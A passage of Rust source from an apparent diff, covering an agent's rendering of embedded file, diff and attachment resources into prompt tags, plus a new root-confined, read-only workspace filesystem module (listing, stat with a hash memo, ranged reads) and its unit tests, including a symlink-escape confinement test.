resource: &EmbeddedResource,
is_cursor: bool,
) -> Option<String> {
match &resource.resource {
EmbeddedResourceResource::TextResourceContents(text_resource)
if text_resource.mime_type.as_deref() == Some("text/x-diff") =>
{
render_diff_resource(text_resource).await
}
EmbeddedResourceResource::TextResourceContents(text_resource) => {
render_text_resource(text_resource, is_cursor).await
}
EmbeddedResourceResource::BlobResourceContents(blob) => render_blob_attachment(blob).await,
_ => None,
}
}
async fn render_text_resource(
text_resource: &agent_client_protocol::TextResourceContents,
is_cursor: bool,
) -> Option<String> {
let re = Regex::new(FILE_REGEX).ok()?;
let caps = re.captures(&text_resource.uri)?;
let path = caps.get(1)?.as_str();
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
let line_offset = start_line.unwrap_or(1);
let file_content = text_resource
.text
.lines()
.enumerate()
.map(|(line_number, content)| format!("{}→{content}", line_offset + line_number))
.collect::<Vec<_>>()
.join("\n");
let attrs = match (start_line, end_line) {
(Some(s), Some(e)) => format!(r#"startLine="{}" endLine="{}""#, s, e),
_ => r#"isFullFile="true""#.to_string(),
};
let (tag, attrs_str) = ("file_contents", attrs);
let _ = is_cursor;
if estimate_tokens(&file_content) > MAX_FILE_TOKENS {
let dest = write_to_session_subdir("pasted", path, text_resource.text.as_bytes()).await;
let display_path = dest
.as_ref()
.map(|p| p.to_string_lossy().into_owned())
.unwrap_or_else(|| path.to_string());
return Some(format!(
r#"<{tag} path="{display_path}" {attrs_str} skipped="true" reason="file too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
estimate_tokens(&file_content),
));
}
Some(format!(
r#"<{tag} path="{path}" {attrs_str}>
{file_content}
</{tag}>"#
))
}
/// Render a diff citation as `<diff_contents>`.
///
/// The text is passed through verbatim (no line-number rewriting) since it
/// represents a change, not a file snapshot.
async fn render_diff_resource(
text_resource: &agent_client_protocol::TextResourceContents,
) -> Option<String> {
let re = Regex::new(FILE_REGEX).ok()?;
let caps = re.captures(&text_resource.uri)?;
let path = caps.get(1)?.as_str();
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
let mut attrs = Vec::new();
if let Some(s) = start_line {
attrs.push(format!(r#"startLine="{s}""#));
}
if let Some(e) = end_line {
attrs.push(format!(r#"endLine="{e}""#));
}
let attrs_str = if attrs.is_empty() {
String::new()
} else {
format!(" {}", attrs.join(" "))
};
if estimate_tokens(&text_resource.text) > MAX_FILE_TOKENS {
let dest = write_to_session_subdir("pasted", path, text_resource.text.as_bytes()).await;
let display_path = dest
.as_ref()
.map(|p| p.to_string_lossy().into_owned())
.unwrap_or_else(|| path.to_string());
return Some(format!(
r#"<diff_contents path="{display_path}"{attrs_str} skipped="true" reason="diff too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
estimate_tokens(&text_resource.text),
));
}
Some(format!(
r#"<diff_contents path="{path}"{attrs_str}>
{text}
</diff_contents>"#,
text = text_resource.text,
))
}
/// Decode base64 blob, write to `attachments/`, return `<file_contents type="binary">` hint.
async fn render_blob_attachment(blob: &BlobResourceContents) -> Option<String> {
let raw_name = blob.uri.strip_prefix("file://").unwrap_or(&blob.uri);
let filename = PathBuf::from(raw_name)
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_else(|| "attachment".to_string());
let bytes = match general_purpose::STANDARD.decode(&blob.blob) {
Ok(b) => b,
Err(e) => {
warn!("binary attachment {filename}: base64 decode failed: {e}");
return None;
}
};
let size = bytes.len();
let mime = blob
.mime_type
.as_deref()
.unwrap_or("application/octet-stream");
let dest = write_to_session_subdir("attachments", &filename, &bytes).await?;
let path = dest.to_string_lossy();
Some(format!(
r#"<file_contents type="binary" path="{path}" mime_type="{mime}" size="{size}"/>"#
))
}
/// Base directory for Phase-1 session-scoped scratch files. Namespaced by PID so
/// concurrent test processes (repeated or parallel CI test runs that share
/// `/tmp`) never collide on identical content-hash paths and
/// race each other's cleanup. The real session_dir lives in shell persistence.
fn session_scratch_root() -> PathBuf {
std::env::temp_dir().join(format!("grok-test-sessions-{}", std::process::id()))
}
/// Write content to session subdir, return absolute path on success.
/// Uses content hash prefix for dedup: identical content → same path, different content → unique path.
async fn write_to_session_subdir(subdir: &str, filename: &str, content: &[u8]) -> Option<PathBuf> {
let dir = session_scratch_root().join(subdir);
if let Err(e) = tokio::fs::create_dir_all(&dir).await {
warn!("failed to create {subdir} directory: {e}");
return None;
}
let basename = PathBuf::from(filename)
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_else(|| filename.to_string());
let hash = content_hash(content);
let dest = dir.join(format!("{hash}-{basename}"));
if dest.exists() {
return Some(dest);
}
if let Err(e) = tokio::fs::write(&dest, content).await {
warn!("failed to write to {}: {e}", dest.display());
return None;
}
Some(dest)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_file_url_regex() {
let expected = vec![
(
"file://Users/alice/first.txt#L10-20",
"Users/alice/first.txt",
"10",
"20",
),
(
"file://Users/alice/second.txt#L12-L44",
"Users/alice/second.txt",
"12",
"44",
),
];
let re = Regex::new(FILE_REGEX).unwrap();
for (path, expected_path, expected_start, expected_end) in expected {
let captures = re.captures(path).unwrap();
assert_eq!(captures.get(1).unwrap().as_str(), expected_path);
assert_eq!(captures.get(2).unwrap().as_str(), expected_start);
assert_eq!(captures.get(3).unwrap().as_str(), expected_end);
}
}
#[test]
fn test_file_path_regex() {
let path = "/Users/test/019c6024-aef0-7472-89ec-65b62c577c09/prompt_3.txt#L929-L933";
let re = Regex::new(FILE_REGEX).unwrap();
let captures = re.captures(path).unwrap();
assert_eq!(
captures.get(1).unwrap().as_str(),
"/Users/test/019c6024-aef0-7472-89ec-65b62c577c09/prompt_3.txt"
);
assert_eq!(captures.get(2).unwrap().as_str(), "929");
assert_eq!(captures.get(3).unwrap().as_str(), "933");
}
fn file_reference(
path: &str,
start_line: Option<usize>,
end_line: Option<usize>,
) -> Option<FileReference> {
Some(FileReference {
path: PathBuf::from(path),
start_line,
end_line,
})
}
#[test]
fn test_parse_file_references() {
let data: Vec<(&str, Option<FileReference>)> = vec![
("", None),
("@", None),
("@@foo", None),
("foo", file_reference("foo", None, None)),
("@foo", file_reference("foo", None, None)),
(
"@Users/test/bar",
file_reference("Users/test/bar", None, None),
),
(
"@Users/test/bar:1-12",
file_reference("Users/test/bar", Some(1), Some(12)),
),
(
"@/asdf/asdf/asdf/asdf/asdf:L1-12",
file_reference("/asdf/asdf/asdf/asdf/asdf", Some(1), Some(12)),
),
(
"@ssasdf/asdf/dsa/fsda/f/sdf/:L1-L12",
file_reference("ssasdf/asdf/dsa/fsda/f/sdf/", Some(1), Some(12)),
),
(
"/home/user/project/src/main.rs",
file_reference("/home/user/project/src/main.rs", None, None),
),
(
"src/lib.rs:10-20",
file_reference("src/lib.rs", Some(10), Some(20)),
),
(
"@my.project/src/file.test.rs:L100-L200",
file_reference("my.project/src/file.test.rs", Some(100), Some(200)),
),
("@foo.rs:L5-L5", file_reference("foo.rs", Some(5), Some(5))),
];
for (input, expected) in data {
let reference = FileReference::parse(input);
assert_eq!(reference, expected, "Failed for input: {input:?}");
}
}
#[test]
fn test_estimate_tokens() {
assert_eq!(estimate_tokens(""), 0);
assert_eq!(estimate_tokens("abcd"), 1);
assert_eq!(estimate_tokens("abcdefgh"), 2);
assert_eq!(estimate_tokens(&"x".repeat(20_000)), 5_000);
}
fn test_info(suffix: &str) -> String {
format!("test-session-{suffix}")
}
#[tokio::test]
async fn test_render_embedded_resource_large_file_skipped() {
let large_content = "x".repeat(80).repeat(300);
let _info = test_info("large-file");
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
agent_client_protocol::TextResourceContents::new(
large_content.clone(),
"file:///project/huge.rs",
),
));
let rendered = render_embedded_resource(&resource, true).await.unwrap();
assert!(rendered.contains("skipped=\"true\""));
assert!(!rendered.contains("xxxxxxxx"));
assert!(rendered.contains("pasted"));
assert!(rendered.contains("huge.rs"));
let hash = content_hash(large_content.as_bytes());
let expected_path = persistence::session_dir(&_info).join(format!("pasted/{hash}-huge.rs"));
assert!(
expected_path.exists(),
"expected {}",
expected_path.display()
);
let _ = std::fs::remove_file(&expected_path);
}
#[tokio::test]
async fn test_render_embedded_resource_small_file_included() {
let _info = test_info("small-file");
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
agent_client_protocol::TextResourceContents::new(
"fn main() {}\n",
"file:///project/small.rs",
),
));
let rendered = render_embedded_resource(&resource, true).await.unwrap();
assert!(rendered.contains("fn main()"));
assert!(!rendered.contains("skipped"));
}
#[tokio::test]
async fn test_render_blob_attachment_written_to_disk() {
use base64::{Engine as _, engine::general_purpose};
let _info = test_info("blob-write");
let content = b"fake pdf bytes";
let encoded = general_purpose::STANDARD.encode(content);
let resource = EmbeddedResource::new(EmbeddedResourceResource::BlobResourceContents(
agent_client_protocol::BlobResourceContents::new(encoded.clone(), "file://report.pdf")
.mime_type(Some("application/pdf".to_string())),
));
let rendered = render_embedded_resource(&resource, false).await.unwrap();
assert!(rendered.contains("file_contents"), "got: {rendered}");
assert!(rendered.contains(r#"type="binary""#), "got: {rendered}");
assert!(rendered.contains("report.pdf"), "got: {rendered}");
assert!(rendered.contains("application/pdf"), "got: {rendered}");
assert!(
rendered.contains(&content.len().to_string()),
"got: {rendered}"
);
assert!(
!rendered.contains(&encoded),
"blob leaked into hint: {rendered}"
);
let hash = content_hash(content);
let expected =
persistence::session_dir(&_info).join(format!("attachments/{hash}-report.pdf"));
assert!(
expected.exists(),
"attachment not written to disk at {}",
expected.display()
);
assert_eq!(std::fs::read(&expected).unwrap(), content);
let _ = std::fs::remove_file(&expected);
}
#[tokio::test]
async fn test_render_blob_attachment_bad_base64_returns_none() {
let _info = test_info("blob-bad-b64");
let resource = EmbeddedResource::new(EmbeddedResourceResource::BlobResourceContents(
agent_client_protocol::BlobResourceContents::new(
"!!! not valid base64 !!!",
"file://bad.pdf",
),
));
let result = render_embedded_resource(&resource, false).await;
assert!(
result.is_none(),
"expected None for bad base64, got: {result:?}"
);
}
fn diff_resource(uri: &str, text: &str) -> EmbeddedResource {
EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
agent_client_protocol::TextResourceContents::new(text, uri)
.mime_type(Some("text/x-diff".to_string())),
))
}
#[tokio::test]
async fn test_render_diff_resource_uses_diff_contents_tag() {
let _info = test_info("diff-small");
let resource = diff_resource(
"file:///project/main.rs#L10-L12",
"+ new line\n context\n- old line",
);
let rendered = render_embedded_resource(&resource, true).await.unwrap();
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
assert!(rendered.contains("</diff_contents>"), "got: {rendered}");
assert!(
rendered.contains(r#"path="/project/main.rs""#),
"got: {rendered}"
);
assert!(rendered.contains(r#"startLine="10""#), "got: {rendered}");
assert!(rendered.contains(r#"endLine="12""#), "got: {rendered}");
assert!(rendered.contains("+ new line"), "got: {rendered}");
assert!(rendered.contains("- old line"), "got: {rendered}");
assert!(!rendered.contains("code_selection"), "got: {rendered}");
}
#[tokio::test]
async fn test_render_diff_resource_without_line_range() {
let _info = test_info("diff-no-range");
let resource = diff_resource("file:///project/lib.rs", " unchanged line");
let rendered = render_embedded_resource(&resource, true).await.unwrap();
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
assert!(
rendered.contains(r#"path="/project/lib.rs""#),
"got: {rendered}"
);
assert!(!rendered.contains("startLine"), "got: {rendered}");
assert!(!rendered.contains("endLine"), "got: {rendered}");
}
#[tokio::test]
async fn test_render_diff_resource_large_skipped() {
let large_diff = "x".repeat(80).repeat(300);
let _info = test_info("diff-large");
let resource = diff_resource("file:///project/big.rs#L1-L999", &large_diff);
let rendered = render_embedded_resource(&resource, true).await.unwrap();
assert!(rendered.contains("<diff_contents"), "got: {rendered}");
assert!(rendered.contains("skipped=\"true\""), "got: {rendered}");
assert!(
!rendered.contains("xxxxxxxx"),
"full content leaked: {rendered}"
);
assert!(rendered.contains("pasted"), "got: {rendered}");
let hash = content_hash(large_diff.as_bytes());
let expected = persistence::session_dir(&_info).join(format!("pasted/{hash}-big.rs"));
let _ = std::fs::remove_file(&expected);
}
#[tokio::test]
async fn test_grok_render_embedded_resource_uses_file_contents_tag() {
let _info = test_info("grok-text");
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
agent_client_protocol::TextResourceContents::new(
"const x = 1;\nconst y = 2;\n",
"file:///project/app.ts#L5-L6",
),
));
let rendered = render_embedded_resource(&resource, false).await.unwrap();
assert!(rendered.contains("<file_contents"), "got: {rendered}");
assert!(rendered.contains("</file_contents>"), "got: {rendered}");
assert!(rendered.contains(r#"startLine="5""#), "got: {rendered}");
assert!(rendered.contains(r#"endLine="6""#), "got: {rendered}");
assert!(!rendered.contains("code_selection"), "got: {rendered}");
}
#[tokio::test]
async fn test_grok_render_embedded_resource_full_file_uses_is_full_file() {
let _info = test_info("grok-full-file");
let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
agent_client_protocol::TextResourceContents::new(
"fn main() {}\n",
"file:///project/main.rs",
),
));
let rendered = render_embedded_resource(&resource, false).await.unwrap();
assert!(rendered.contains("<file_contents"), "got: {rendered}");
assert!(rendered.contains(r#"isFullFile="true""#), "got: {rendered}");
assert!(!rendered.contains("code_selection"), "got: {rendered}");
}
}
@@ -0,0 +1,775 @@
//! Read-only filesystem helpers backing the client-facing
//! `workspace.client_fs_*` RPCs (the grok.com conversation-files UI,
//! tunneled through the server).
//!
//! Deliberately separate from the shell-facing ext ops in
//! [`ext_fs`](super::ext_fs): every path here is workspace-root-relative
//! and resolves through the root-confinement helper
//! (`WorkspaceHandle::resolve_service_path`), the list walk excludes
//! symlinks that resolve outside the root (and never descends into
//! them), listings paginate with stable post-sort slices, and reads are
//! binary-safe (base64 chunks).
//!
//! Wire types live in `kigi_workspace_types::rpc::fs` (the
//! `ClientFs*` types), shared with the backend caller.
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use kigi_workspace_types::rpc::fs::{
ClientFsListNode as FsListNode, ClientFsListReq as FsListReq, ClientFsListRes as FsListRes,
ClientFsReadFileReq as FsReadFileReq, ClientFsReadFileRes as FsReadFileRes,
ClientFsStatReq as FsStatReq, ClientFsStatRes as FsStatRes, FsContentType, FsNodeType,
};
use crate::error::{WorkspaceError, WorkspaceResult};
use crate::handle::WorkspaceHandle;
/// Hard cap on entries collected per list call before sorting (shared
/// across all fs surfaces; see [`super::walk::MAX_LIST_COLLECT`]).
const MAX_LIST_COLLECT: usize = super::walk::MAX_LIST_COLLECT;
/// Server-side cap on `FsListReq::limit`.
const MAX_LIST_LIMIT: u32 = 1000;
/// Server-side cap on a single read's effective byte budget (shared
/// across all fs surfaces; see [`super::walk::MAX_READ_BYTES`]). Only
/// referenced by tests now that the clamp lives in `walk::clamp_read_length`.
#[cfg(test)]
const MAX_READ_BYTES: u64 = super::walk::MAX_READ_BYTES;
/// Bound on memoized hashes; the memo is cleared (not LRU-evicted) when
/// full — entries simply re-hash on next use.
const HASH_MEMO_CAPACITY: usize = 4096;
// =========================================================================
// (path, size, mtime_ms) → hash memo
// =========================================================================
#[derive(Debug, Clone)]
struct MemoEntry {
size: u64,
mtime_ms: i64,
hash: String,
}
/// Memo of full-content SHA-256 digests keyed by absolute path and
/// validated against `(size, mtime_ms)`, so unchanged files hash once
/// instead of on every `client_fs_stat`. The memo only avoids redundant
/// hashing — it never substitutes mtime for content addressing: a
/// `(size, mtime_ms)` mismatch is a miss and the caller re-hashes.
#[derive(Debug, Default)]
pub(crate) struct FileHashMemo {
entries: parking_lot::Mutex<HashMap<PathBuf, MemoEntry>>,
}
impl FileHashMemo {
/// Return the memoized hash when `(size, mtime_ms)` still match.
pub(crate) fn lookup(&self, path: &Path, size: u64, mtime_ms: i64) -> Option<String> {
let entries = self.entries.lock();
let entry = entries.get(path)?;
(entry.size == size && entry.mtime_ms == mtime_ms).then(|| entry.hash.clone())
}
/// Record a freshly computed hash, replacing any stale entry for the
/// same path. Clears the whole memo when inserting a new path would
/// exceed [`HASH_MEMO_CAPACITY`].
pub(crate) fn store(&self, path: &Path, size: u64, mtime_ms: i64, hash: String) {
let mut entries = self.entries.lock();
if !entries.contains_key(path) && entries.len() >= HASH_MEMO_CAPACITY {
entries.clear();
}
entries.insert(
path.to_path_buf(),
MemoEntry {
size,
mtime_ms,
hash,
},
);
}
}
// =========================================================================
// Path resolution
// =========================================================================
/// Resolve a root-relative request path through the workspace's
/// root-confinement helper, returning the resolved path together with the
/// canonical root it was checked against. `""` and `"."` mean the
/// workspace root; absolute paths, `..` escapes, and symlink escapes are
/// rejected there.
async fn resolve_with_root(
ws: &WorkspaceHandle,
path: &str,
) -> WorkspaceResult<(PathBuf, PathBuf)> {
let rel = if path.is_empty() { "." } else { path };
let canonical_root = ws.canonical_root().await?;
let abs = ws.resolve_service_path(rel, &canonical_root).await?;
Ok((abs, canonical_root))
}
/// [`resolve_with_root`] for callers that don't need the canonical root.
async fn resolve(ws: &WorkspaceHandle, path: &str) -> WorkspaceResult<PathBuf> {
resolve_with_root(ws, path).await.map(|(abs, _)| abs)
}
fn system_time_ms(st: std::time::SystemTime) -> i64 {
match st.duration_since(std::time::UNIX_EPOCH) {
Ok(d) => i64::try_from(d.as_millis()).unwrap_or(i64::MAX),
Err(e) => -i64::try_from(e.duration().as_millis()).unwrap_or(i64::MAX),
}
}
// =========================================================================
// list
// =========================================================================
/// List `req.path` (workspace-root-relative) with stable pagination:
/// collect the full walk (bounded by [`MAX_LIST_COLLECT`]), sort
/// directories-first / case-insensitive by name, then slice
/// `[offset, offset + limit)`. Symlinks resolving outside the workspace
/// root are excluded from the walk (and never descended into).
pub(crate) async fn list(ws: &WorkspaceHandle, req: &FsListReq) -> WorkspaceResult<FsListRes> {
let (abs, canonical_root) = resolve_with_root(ws, &req.path).await?;
let root = ws.root_cwd()?;
let req = req.clone();
// The walk does synchronous traversal + metadata syscalls; run it off
// the async executor (matching the ext_fs ops).
tokio::task::spawn_blocking(move || {
list_blocking(&abs, &root, &canonical_root, &req, MAX_LIST_COLLECT)
})
.await
.map_err(|e| WorkspaceError::JoinError(e.to_string()))?
}
fn list_blocking(
abs_dir: &Path,
root: &Path,
canonical_root: &Path,
req: &FsListReq,
max_collect: usize,
) -> WorkspaceResult<FsListRes> {
// Root confinement also holds mid-walk: a symlink inside the root
// pointing outside must not enumerate outside metadata.
let page = super::walk::list_directory_paged(
abs_dir,
super::walk::ListOptions {
depth: req.depth as usize,
follow_symlinks: req.follow_symlinks,
respect_git_ignore: req.respect_git_ignore,
include_hidden: req.include_hidden,
include_globs: &req.include_globs,
exclude_globs: &req.exclude_globs,
offset: req.offset,
limit: req.limit.min(MAX_LIST_LIMIT) as usize,
confine_to_canonical_root: Some(canonical_root.to_path_buf()),
},
max_collect,
);
let nodes: Vec<FsListNode> = page
.entries
.into_iter()
.map(|e| FsListNode {
node_type: if e.is_dir {
FsNodeType::Directory
} else {
FsNodeType::File
},
size: e.size,
mtime_ms: e.modified.map(system_time_ms),
is_symlink: e.is_symlink.then_some(true),
// Root-relative path (divergent from the shell's absolute path).
// A walk under a symlinked root yields canonical-root-spelled
// entries, so strip either spelling.
path: e
.abs_path
.strip_prefix(root)
.or_else(|_| e.abs_path.strip_prefix(canonical_root))
.unwrap_or(&e.abs_path)
.to_string_lossy()
.into_owned(),
name: e.name,
})
.collect();
Ok(FsListRes {
nodes,
truncated: page.truncated,
})
}
// =========================================================================
// stat
// =========================================================================
/// Stat `req.path`: existence, kind, size, mtime, and — for files — a
/// full-content SHA-256 served through the workspace hash memo.
pub(crate) async fn stat(ws: &WorkspaceHandle, req: &FsStatReq) -> WorkspaceResult<FsStatRes> {
let abs = resolve(ws, &req.path).await?;
let md = match tokio::fs::metadata(&abs).await {
Ok(md) => md,
// NotADirectory: a *file* sits mid-path (e.g. `a.txt/sub`) — for an
// existence probe that is a miss, not an RPC error.
Err(e)
if e.kind() == std::io::ErrorKind::NotFound
|| e.kind() == std::io::ErrorKind::NotADirectory =>
{
return Ok(FsStatRes {
exists: false,
node_type: None,
size: None,
mtime_ms: None,
hash: None,
});
}
Err(e) => {
return Err(WorkspaceError::HubError(format!(
"stat failed for {}: {e}",
req.path
)));
}
};
let mtime_ms = md.modified().ok().map(system_time_ms);
if md.is_dir() {
return Ok(FsStatRes {
exists: true,
node_type: Some(FsNodeType::Directory),
size: None,
mtime_ms,
hash: None,
});
}
let size = md.len();
let memo = &ws.shared.client_fs_hash_memo;
let hash = match mtime_ms.and_then(|m| memo.lookup(&abs, size, m)) {
Some(hash) => hash,
None => {
let (hash, _, _) = crate::handle::stream_hash_and_range(&abs, 0, 0)
.await
.map_err(|e| {
WorkspaceError::HubError(format!("hash failed for {}: {e}", req.path))
})?;
if let Some(m) = mtime_ms {
memo.store(&abs, size, m, hash.clone());
}
hash
}
};
Ok(FsStatRes {
exists: true,
node_type: Some(FsNodeType::File),
size: Some(size),
mtime_ms,
hash: Some(hash),
})
}
// =========================================================================
// read_file
// =========================================================================
/// Read a byte range of `req.path` (binary-safe, capped at
/// `min(req.max_bytes, MAX_READ_BYTES)`) together with the full-file
/// SHA-256. When the hash is memoized for the current `(size, mtime)`
/// only the requested range is read; otherwise the whole file streams
/// once (via the shared [`crate::handle::stream_hash_and_range`]) to
/// hash it.
pub(crate) async fn read_file(
ws: &WorkspaceHandle,
req: &FsReadFileReq,
) -> WorkspaceResult<FsReadFileRes> {
let abs = resolve(ws, &req.path).await?;
let read_err =
|e: std::io::Error| WorkspaceError::HubError(format!("read failed for {}: {e}", req.path));
let md = tokio::fs::metadata(&abs).await.map_err(read_err)?;
if md.is_dir() {
return Err(WorkspaceError::HubError(format!(
"not a file: {}",
req.path
)));
}
let size = md.len();
let mtime_ms = md.modified().ok().map(system_time_ms);
let offset = req.offset.unwrap_or(0);
// Server-side clamp: a hostile/buggy caller cannot lift the per-chunk
// budget past MAX_READ_BYTES regardless of `maxBytes`.
let length = super::walk::clamp_read_length(req.length, req.max_bytes);
let memo = &ws.shared.client_fs_hash_memo;
let (hash, chunk, size) = match mtime_ms.and_then(|m| memo.lookup(&abs, size, m)) {
Some(hash) => {
let chunk = super::walk::read_range(&abs, offset, length)
.await
.map_err(read_err)?;
(hash, chunk, size)
}
None => {
let (hash, chunk, streamed) =
crate::handle::stream_hash_and_range(&abs, offset, length)
.await
.map_err(read_err)?;
if let Some(m) = mtime_ms {
memo.store(&abs, streamed, m, hash.clone());
}
(hash, chunk, streamed)
}
};
// Shared encoder keeps the paired wire fields coherent with one UTF-8
// validation pass; `type` is text iff the bytes were valid UTF-8.
let (payload, is_text) = super::walk::encode_chunk(chunk, req.encoding);
let (content, content_base64) = match payload {
super::walk::ChunkPayload::Text(t) => (Some(t), None),
super::walk::ChunkPayload::Base64(b) => (None, Some(b)),
};
let content_type = if is_text {
FsContentType::Text
} else {
FsContentType::Binary
};
Ok(FsReadFileRes {
content,
content_base64,
size,
hash,
content_type,
})
}
#[cfg(test)]
mod tests {
use base64::Engine;
use kigi_workspace_types::rpc::fs::FsReadEncoding;
use super::*;
use crate::handle::tests::make_handle;
fn list_req(path: &str) -> FsListReq {
FsListReq {
path: path.to_owned(),
depth: 1,
include_hidden: true,
limit: 1000,
offset: 0,
follow_symlinks: true,
respect_git_ignore: false,
include_globs: vec![],
exclude_globs: vec![],
}
}
/// Fixture: root with files `b.txt`, `A.txt`, `c.txt` and dirs
/// `Zeta`, `alpha`. Expected order: dirs first case-insensitive
/// (`alpha`, `Zeta`), then files (`A.txt`, `b.txt`, `c.txt`).
fn populate(root: &Path) {
std::fs::write(root.join("b.txt"), b"bb").unwrap();
std::fs::write(root.join("A.txt"), b"a").unwrap();
std::fs::write(root.join("c.txt"), b"ccc").unwrap();
std::fs::create_dir(root.join("Zeta")).unwrap();
std::fs::create_dir(root.join("alpha")).unwrap();
}
/// `list_blocking` against `dir` as both walk root and workspace root
/// (canonicalized for the confinement check, like production).
fn list_dir(dir: &Path, req: &FsListReq, max_collect: usize) -> FsListRes {
let canonical = dunce::canonicalize(dir).unwrap();
list_blocking(dir, dir, &canonical, req, max_collect).unwrap()
}
#[test]
fn list_sorts_dirs_first_case_insensitive() {
let dir = tempfile::tempdir().unwrap();
populate(dir.path());
let res = list_dir(dir.path(), &list_req(""), MAX_LIST_COLLECT);
let names: Vec<&str> = res.nodes.iter().map(|n| n.name.as_str()).collect();
assert_eq!(names, ["alpha", "Zeta", "A.txt", "b.txt", "c.txt"]);
assert!(!res.truncated);
assert_eq!(res.nodes[0].node_type, FsNodeType::Directory);
assert_eq!(res.nodes[2].node_type, FsNodeType::File);
assert_eq!(res.nodes[2].size, Some(1));
assert!(res.nodes[2].mtime_ms.is_some());
// Paths are workspace-root-relative.
assert_eq!(res.nodes[2].path, "A.txt");
}
/// Pagination slices the *sorted* listing, so consecutive pages have
/// stable boundaries and concatenate to the full listing.
#[test]
fn list_paginates_post_sort_with_stable_boundaries() {
let dir = tempfile::tempdir().unwrap();
populate(dir.path());
let full = list_dir(dir.path(), &list_req(""), MAX_LIST_COLLECT);
let mut paged = Vec::new();
for page_start in [0u64, 2, 4] {
let req = FsListReq {
limit: 2,
offset: page_start,
..list_req("")
};
let page = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
// truncated while more entries remain past this page.
assert_eq!(page.truncated, page_start + 2 < full.nodes.len() as u64);
paged.extend(page.nodes);
}
assert_eq!(paged, full.nodes);
// Offset past the end yields an empty, non-truncated page.
let req = FsListReq {
offset: 100,
..list_req("")
};
let page = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
assert!(page.nodes.is_empty());
assert!(!page.truncated);
}
/// The collection cap marks the result truncated even when the page
/// itself is not full.
#[test]
fn list_collection_cap_truncates() {
let dir = tempfile::tempdir().unwrap();
populate(dir.path());
let res = list_dir(dir.path(), &list_req(""), 2);
assert_eq!(res.nodes.len(), 2);
assert!(res.truncated);
}
#[test]
fn list_caps_limit_at_server_max() {
let dir = tempfile::tempdir().unwrap();
populate(dir.path());
let req = FsListReq {
limit: u32::MAX,
..list_req("")
};
// Must not panic / overflow; the page is everything (< 1000).
let res = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
assert_eq!(res.nodes.len(), 5);
}
/// Regression: the list walk must not traverse — or
/// even surface — in-root symlinks that resolve outside the workspace
/// root, while symlinks staying inside the root keep working.
#[test]
#[cfg(unix)]
fn list_excludes_symlink_escapes_mid_walk() {
let dir = tempfile::tempdir().unwrap();
let root = dir.path();
let outside = tempfile::tempdir().unwrap();
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
// Escaping symlink: root/escape_link -> <outside>.
std::os::unix::fs::symlink(outside.path(), root.join("escape_link")).unwrap();
// In-root symlink: root/good_link -> root/real_dir.
std::fs::create_dir(root.join("real_dir")).unwrap();
std::fs::write(root.join("real_dir/inner.txt"), b"inner").unwrap();
std::os::unix::fs::symlink(root.join("real_dir"), root.join("good_link")).unwrap();
let req = FsListReq {
depth: 2,
follow_symlinks: true,
..list_req("")
};
let res = list_dir(root, &req, MAX_LIST_COLLECT);
let paths: Vec<&str> = res.nodes.iter().map(|n| n.path.as_str()).collect();
assert!(
!paths.iter().any(|p| p.contains("escape_link")),
"escaping symlink (and its subtree) must be excluded: {paths:?}"
);
assert!(
!paths.iter().any(|p| p.contains("secret.txt")),
"outside entries must not be enumerated: {paths:?}"
);
// Confinement must not over-filter: in-root symlinks survive,
// including descent through them.
assert!(paths.contains(&"good_link"), "{paths:?}");
assert!(paths.contains(&"good_link/inner.txt"), "{paths:?}");
assert!(paths.contains(&"real_dir/inner.txt"), "{paths:?}");
let good = res.nodes.iter().find(|n| n.path == "good_link").unwrap();
assert_eq!(good.is_symlink, Some(true));
}
#[test]
fn memo_lookup_hits_and_invalidates_on_mismatch() {
let memo = FileHashMemo::default();
let path = Path::new("/ws/a.txt");
memo.store(path, 10, 1000, "h1".into());
assert_eq!(memo.lookup(path, 10, 1000).as_deref(), Some("h1"));
// Size change ⇒ miss.
assert_eq!(memo.lookup(path, 11, 1000), None);
// Mtime change ⇒ miss.
assert_eq!(memo.lookup(path, 10, 2000), None);
// Re-store replaces the stale entry.
memo.store(path, 11, 2000, "h2".into());
assert_eq!(memo.lookup(path, 11, 2000).as_deref(), Some("h2"));
assert_eq!(memo.lookup(path, 10, 1000), None);
}
/// `stat` consults the memo (no re-hash for an unchanged file) and
/// recomputes when `(size, mtime)` no longer match.
#[tokio::test]
async fn stat_uses_memo_until_file_changes() {
let ws = make_handle();
let root = ws.root_cwd().unwrap();
std::fs::write(root.join("data.txt"), b"hello world").unwrap();
let req = FsStatReq {
path: "data.txt".into(),
};
let first = stat(&ws, &req).await.unwrap();
assert!(first.exists);
assert_eq!(first.node_type, Some(FsNodeType::File));
assert_eq!(first.size, Some(11));
let real_hash = first.hash.clone().expect("hash for files");
// Plant a sentinel hash for the file's current (size, mtime). A
// second stat must return the sentinel — proof it did not re-hash.
let abs = root.join("data.txt");
let md = std::fs::metadata(&abs).unwrap();
let mtime = system_time_ms(md.modified().unwrap());
ws.shared
.client_fs_hash_memo
.store(&abs, md.len(), mtime, "sentinel".into());
let memoized = stat(&ws, &req).await.unwrap();
assert_eq!(memoized.hash.as_deref(), Some("sentinel"));
// A size change invalidates the memo entry and re-hashes.
std::fs::write(&abs, b"hello brave new world").unwrap();
let rehashed = stat(&ws, &req).await.unwrap();
let new_hash = rehashed.hash.expect("hash for files");
assert_ne!(new_hash, "sentinel");
